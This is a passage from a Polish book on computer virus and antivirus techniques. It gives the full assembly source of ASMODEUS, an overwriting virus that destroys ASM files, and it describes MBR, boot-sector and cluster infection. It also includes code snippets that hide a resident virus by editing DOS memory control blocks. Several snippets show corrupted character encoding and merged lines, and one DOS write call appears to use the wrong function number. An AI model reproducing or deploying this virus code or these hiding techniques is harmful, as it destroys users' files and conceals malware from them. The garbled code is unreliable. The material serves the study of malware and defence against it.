Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do zarażanego programu.
Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w efekcie niszczącego pliki).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; ;
; Kompilacja : ;
; TASM ASMODEUS.ASM ;
; TLINK /t ASMODEUS.OBJ ;
; ;
;----------------------------------------------------------------------------;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS
ORG 100h
NUL = 00h ; \
LF = 0Ah ; \ stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
; dlugosc dyrekty z poczatku
; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
; dlugosc dyrekty z konca
; pliku ASM (ENDS, END)
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 (?) ; nazwa znalezionej pozycji
DTAStruc ends
NoweDTA equ 80h
VirusStart: ; tu zaczyna sie kod wirusa
lea dx,TeInformacja ; podaj, gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3d02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
cld ; operacje na lancuchach do przodu
push bx ; zachowaj uchwyt pliku
lea di,Bufor ; gdzie zapisywac wynik
lea bx,Hex ; gdzie znajduje sie tablica
; translacji na znaki heksalne
lea si,VirusStart ; gdzie zaczyna sie kod
mov cx,VirusDlug ; ilosc bajtow do konwersji
RobHex:
mov ax,'BD' ; \
stosw ; \ zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /
lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na pozniej
shr al,4 ; pobierz 4 gorne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
mov al,ah ; wez zapamietany bajt kodu
and al,15 ; pobierz 4 dolne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db 0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db 0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db 0??h',CR,LF
loop RobHex ; przetwarzaj caly kod programu
pop bx ; przwyroc uchwyt pliku
sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac wirusa
; jako ciag DB ?,?, ... ?,?,?
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
BezInfekcji:
ret ; koncz program, skocz do PSP:100h
; do rozkazu Int 20h
MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)
ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; \ przejdz
int 10h ; \ do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
Bufor db 32768 dup (?)
ASMODEUS ENDS
END VirusStart
4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejściu sprzętowej inicjalizacji wszystkich układów, procesor przystępuje do uruchamiania systemu, oddając najpierw sterowanie do BIOS-a, który po przeprowadzeniu różnych testów przekazuje kontrolę dalej, tzn. do systemu operacyjnego. Aby to zrobić, musi wczytać go z pliku zawierającego jądro systemu. Ze względu na to, iż narzucona przez systemy operacyjne struktura plików (różna dla różnych systemów) jest dostępna dopiero po załadowaniu odpowiedzialnego za dostęp do niej jądra systemu (także różnego dla różnych systemów), powstaje błędne koło: aby załadować plik z jądrem systemu, ono samo musi już być załadowane. Jasne jest, iż musi istnieć jakaś uniwersalna metoda na załadowanie dowolnego systemu (a więc i jądra systemu). Problem ten rozwiązano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierają krótkie programy, odpowiedzialne za załadowanie właściwej części jądra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Głównym Rekordem Ładującym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokładniejszy ich opis znajduje się dalej.
4.2.1. Główny Rekord Ładujący (ang. Master Boot Record-MBR)
Każdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostępu przez BIOS) sektorze tzw. Główny Rekord Ładujący (często nazywany sektorem tablicy partycji), zawierający informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyższych informacji rekord ten zawiera także krótki programik, mający na celu odnalezienie w tablicy partycji aktywnej strefy i załadowanie z niej systemu operacyjnego. Format głównego rekordu ładującego, opis zawartości tablicy partycji oraz rodzaje stref zawarte są w poniższych tablicach.
Format głównego rekordu ładującego (MBR)
Adres |
Zawartość |
000 |
Program wczytujący system z aktywnej partycji dysku twardego |
1BE |
Opis strefy nr 1 |
1CE |
Opis strefy nr 2 |
1DE |
Opis strefy nr 3 |
1EE |
Opis strefy nr 4 |
1FE |
Bajty 055h i 0AAh |
Opis jednej strefy w tablicy partycji
Adres |
Zawartość |
00 |
Znacznik aktywności strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny |
01 |
Numer głowicy, pod którą zaczyna się strefa |
02-03 |
Numer cylindra i sektora, pod którymi zaczyna się strefa, zapisane następująco (litery odpowiadają kolejnym bitom): bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) |
04 |
Rodzaj strefy (wg następnej tablicy) |
05 |
Numer głowicy, pod którą kończy się strefa |
06-07 |
Numer cylindra i sektora, pod którymi kończy się strefa, zapisane tak samo jak w polu 02h-03h |
08-0B |
Względny numer sektora rozpoczynającego strefę |
0C-0F |
Długość strefy w sektorach |
Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy |
00h pusta |
01h DOS 12-bit FAT |
02h XENIX |
03h XENIX /usr |
04h DOSl6-bitFAT(do32M) |
05h DOS 3.3+ rozszerzona partycja |
06h DOS 3.31 + Large File System (16-bit FAT) |
07h QNX |
07h OS/2 HPFS |
07h Windows NT NTFS |
07h Advanced Unix |
08h OS/2 (tylko v1.0-1.3) |
08h AIX |
08h Commodore DOS |
08h DELL |
09h AIX |
09h Coherent |
0Ah OS/2 Boot Manager |
0Ah OPUS |
0Ah Coherent |
0Bh Windows 95 - 32-bit FAT |
0Ch Windows 95 - 32-bit FAT (LBA) |
0Eh zarezerwowane przez Microsoft dla VFAT |
0Fh zarezerwowane przez Microsoft dla VFAT |
10h OPUS |
11h OS/2 Boot Manager 12-bit FAT |
12h partycja Compaq Diagnostics |
14h tworzy ją Noyell DOS 7.0 FDISK |
14h OS/2 Boot Manager |
16h OS/2 Boot Manager |
17h OS/2 Boot Manager HPFS |
18h AST Windows plik wymiany |
21h zarezerwowana |
23h zarezerwowana |
24h NEC MS-DOS 3.x |
26h zarezerwowana |
31h zarezerwowana |
33h zarezerwowana |
34h zarezerwowana |
36h zarezerwowana |
3Ch PowerQuest |
40h VENIX 80286 |
41h Persona! RISC Boot |
42h SFS (Secure File System) |
50h OnTrack Disk Manager |
51h OnTrack Disk Manager |
51h NOYELL |
52h CP/M |
52h Microport System V/386 |
53h OnTrack Disk Manager |
54h OnTrack Disk Manager (DDO) |
56h GoldenBow VFeature |
61h SpeedStor |
63h Unix SysV/386 |
63h Mach |
64h Novell NelWare 286 |
65h NovetlNetWare(3.11) |
67h Novell |
68h Novell |
69h Novell _ |
70h DiskSecure Multi-Boot |
71h zarezerwowana |
73h zarezerwowana |
74h zarezerwowana |
75h PC/lX |
76h zarezerwowana |
80h Minixv1,1 - 1.4a |
81h Minixv1.4b+ |
81h Linux |
81h Mitac Advanced Disk Manager |
82h Linux Swap |
82h Prime |
83h Linux native file system |
84h OS/2 |
86h zarezerwowana |
87h HPFS Fault-Tolerant |
93h Amoeba file system |
94h Amoeba bad błock table |
A1h zarezerwowana |
A3h zarezerwowana |
A4h zarezerwowana |
A5h FreeBSD |
A6h zarezerwowana |
B1h zarezerwowana |
B3h zarezerwowana |
B4h zarezerwowana |
B6h zarezerwowana |
B7h BSDI file system |
B8h BSDI plik wymiany |
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT |
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT |
C6h DR DOS 6.0 LOGlN.EXE Huge |
C7h Syrinx Boot |
D8h CP/M-86 |
DBh CP/M |
DBh CTOS (ConvergentTechnologies OS) |
E1h SpeedStor 12-bit FAT rozszerzona partycja |
E3h DOS tylko do czytania |
E3h Storage Dimensions |
E4h SpeedStor 16-bit FAT rozszerzona partycja |
E5h zarezerwowana |
E6h zarezerwowana |
F1h Storage Dimensions |
F2h DOS 3.3+ |
F3h zarezerwowana |
F4h SpeedStor |
F4h Storage Dimensions |
F6h zarezerwowana |
FEh LANstep |
FEh IBM PS/2 IML |
FFh Xenix |
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, stały adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazując tym samym sterowanie do programu ładującego, który odszukuje strefę aktywną w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje się wartość 80h, co jest znakiem, iż jest to strefa aktywna i można z niej załadować system operacyjny.
Działanie wirusów zarażających MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji może być przechowywana w innym sektorze na dysku. Najprościej Jest wczytać oryginalny sektor przy pomocy funkcji (02/13), dokonać zmian w jego strukturze i zapisać zmodyfikowany sektor z powrotem na dysk przy użyciu funkcji (03/13).
Po zarażeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamięć dostępną dla DOS-a (poprzez modyfikację zmiennej BIOS, zawartej pod adresem 0000:413), a następnie kopiuje się na koniec pamięci, która jest już niedostępna dla DOS-a. Stamtąd przejmuje obsługę przerwań i po wczytaniu oryginalnego sektora tablicy partycji (także pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ładujący kontynuuje normalne wczytywanie systemu.
4.3. Rekord ładujący (ang. BOOT-sector)
Program ładujący, zawarty w MBR, wczytuje system ze strefy aktywnej, dokładniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a więc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ładuje plik zawierający jądro systemu (w przypadku systemu DOS - najczęściej IO.SYS).
Powyższa operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpośrednio ładuje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widać, BIOS nie rozróżnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostępie do dysku system kopiuje do swych struktur wewnętrznych część informacji zawartych w BOOT-sektorze. Informacje te są zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartość BOOT-sektora przedstawiono w poniższej tabeli.
Zawartość BOOT-sektora
Adres |
Zawartość |
00-02 |
Instrukcja skoku do programu ładującego system, najczęściej (OEBh ?? 90h). czyli JMP SHORT |
03-0A |
Nazwa wersji systemu (jako łańcuch ASCII) |
Początek bloku BPB |
+ |
0B-0C |
Wielkość sektora w bajtach |
0E-0F |
Liczba sektorów zarezerwowanych na początku dysku |
10 |
Liczba kopii FAT |
11-12 |
Maksymalna liczba plików w katalogu głównym |
13-14 |
Całkowita liczba sektorów na dysku logicznym (nie używane) |
15 |
Bajt identyfikacji nośnika |
16-17 |
Liczba sektorów zajętych przez FAT |
18-19 |
Liczba sektorów na ścieżce |
1A-1B |
Liczba głowic dysku |
1C-1D |
|
Koniec bloku BPB |
|
24 |
Numer fizyczny dysku |
25 |
Zarezerwowane |
26 |
Rozszerzony znacznik BOOT-sektora |
27-2A |
Numer woluminu |
2B-35 |
Etykieta dysku |
36-3D |
Typ FAT zapisany jako łańcuch ASCII |
??-1FF |
Program wczytujący system |
Nietrudno domyślić się, iż infekcja BOOT-sektora polegać będzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miało to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora łatwiej użyć przerwań 25h i 26h, gdyż biorą one na siebie ciężar wszystkich obliczeń związanych z translacją sektorów logicznych na fizyczne.
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zarażał JAP, był wirus DIR-2. Ze względu na pewne ograniczenia zarażał tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieć zasadę jego działania, trzeba przede wszystkim wiedzieć, w jaki sposób system DOS zapisuje pliki na dysku. Każdy dysk logiczny widoczny w systemie posiada tzw. tablicę FAT (ang. File Alocation Tobie), która dzieli dysk na równe części, zwane Jednostkami Alokacji Plików JAP). Wielkość JAP jest różna dla różnych pojemności dysków. Informacja o ilości sektorów zajmowanych przez jedną JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Każdy plik zapisywany na dysku ma do dyspozycji odpowiednią, wynikającą z jego długości, liczbę jednostek alokacji. Liczba ta równa jest długości pliku podzielonej przez rozmiar jednej JAP. Obliczoną liczbę należy zaokrąglić w górę (aby uwzględnić końcówkę pliku, która nie mieści się w pełnej JAP). Jak widać, pliki zapisane na dysku wcale nie muszą być zapisane sekwencyjnie, tzn. różne fragmenty pliku mogą być porozrzucane po całym dysku. Także widziana przez użytkownika długość pliku tylko czasami zgadza się z prawdziwą długością zajmowaną przez plik na dysku (gdy długość pliku jest wielokrotnością długości JAP). Wczytując plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miarę kolejnych odczytów/zapisów do pliku, porusza się po łańcuchu JAP, korzystając z danych zawartych w tablicy FAT.
Wirus infekujący przy użyciu JAP zmienia w polu katalogu rozmiar danego pliku (najczęściej na rozmiar jednej JAP) oraz wartość pierwszej JAP pliku, która wskazując na wirusa umożliwia jego wczytanie niejako przed kod programu ładowanego z dysku i w efekcie przejęcie kontroli nad systemem. Zainstalowany w pamięci wirus ma następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli.
Format bloku DPB
Adres |
Zawartość |
00 |
Numer dysku A:=0, B:=1, C:=2 |
01 |
Numer jednostki w programie obsługi |
02-03 |
Wielkość sektora w bajtach |
05 |
log2 (liczba sektorów w JAP) |
06 |
Liczba zarezerwowanych sektorów na początku dysku |
08 |
Ilość kopii tablicy FAT (najczęściej 2) |
09-0A |
Maksymalna ilość plików w katalogu głównym |
0B-0C |
Pierwszy sektor danych |
0F-10 |
Liczba sektorów na FAT |
11-12 |
Numer pierwszego sektora katalogu |
13-16 |
Daleki wskaźnik do programu obsługi dysku |
17 |
Bajt identyfikacji nośnika |
18 |
Znacznik dostępu do dysku |
19-1C |
Daleki wskaźnik do następnego bloku DPB |
1D-1E |
Numer pierwszej wolnej JAP na dysku |
1F-20 |
Liczba wolnych JAP na dysku |
Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w
; kom¾rkach od ES:[BX] do ES:[BX+3] znajduje
; siÛ daleki wskaƒnik do pierwszego DPB
LES BX,ES:[BX] ; ES:BX wskazuje na pierwszy DPB
NastÛpnyDPB: ; pocz╣tek pÛtli
LDS SI, ES:[BX+13h] ; DS:SI wskazuje teraz na program obs│ugi LES BX,ES:[BX+19h] ; ES:BX wskazuje teraz na nastÛpny bloku DPB, je┐eli jest
; to ostatni blok, to ES i BX zawieraj╣ OFFFFh,
MOV AX,ES ; weƒ segment
CMP AX,0FFFFh ; czy ES=OFFFFh ?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
CMP BX,AX ; czy BX=OFFFFh?
JNZ NastÛpnyDPB ; je£li nie, to jest jeszcze kolejny DPB
4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura obsługi przejętego przerwania).
ROZDZIAŁ 5
5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, potrzebujące do swych celów małego obszaru pamięci operacyjnej,
5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.
5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.
Format MCB
Adres |
Zawartość |
00 |
Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza ostatni blok w łańcuchu |
01-02 |
Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie niewidoczny dla programów przeglądających pamięć (dokładniej: będzie widoczny, ale będzie traktowany jako integralna część systemu) |
03-04 |
Rozmiar bloku w 16-bajtowych paragrafach |
05-07 |
Zarezerwowane dla systemu |
08-0F |
8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to skrót od System Code. a SD od System Data) |
Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a±cuchu mcb
MOV AH,52H ; funkcja DOS - weƒ adres do listy
; list (ll)
INT 21H ; wywo│aj funkcjÛ
MOV AX,ES:[BX-2] ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z ; czy ostatni blok ?
JE OSTATNI ; skocz, je£li tak
INC AX ; dodaj rozmiar MCB (16 bajt¾w=1 paragraf)
ADD AX, DS:[3] ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
JMP SHORT NASTEPNY ; sprawdƒ nastÛpny blok
OSTATNI: ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)
SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla
;programu w PSP bie┐╣cego procesu
Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h ; funkcja DOS - weƒ adres PSP aktualnego procesu
INT 21h ; uruchom funkcjÛ DOS, BX zawiera adres PSP
DEC BX ; BX-1 zawiera adres MCB, bÛd╣cego w│a£cicielem bloku MOV DS,BX ; DS wskazuje na MCB
SUB DS:[3], ROZMIAR ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB DS:[12h], ROZMIAR ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla
; programu w PSP bie┐╣cego procesu
Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu (48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' [odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR ; BX = rozmiar ┐╣danej pamiÛci
MOV AH,48h ; funkcja DOS - przydziel pamiÛµ
INT 21h ; wywo│aj funkcjÛ DOS
JC BLAD ; Je£li CF=1 to b│╣d, AX=segment pamiÛci
DEC AX ; AX-1=segment z nag│¾wkiem MCB (w│a£cicielem
; bloku amiÛci)
MOV DS,AX ; DS = segment MCB
MOV DS:[l],0008h ; zmie± MCB na systemowy
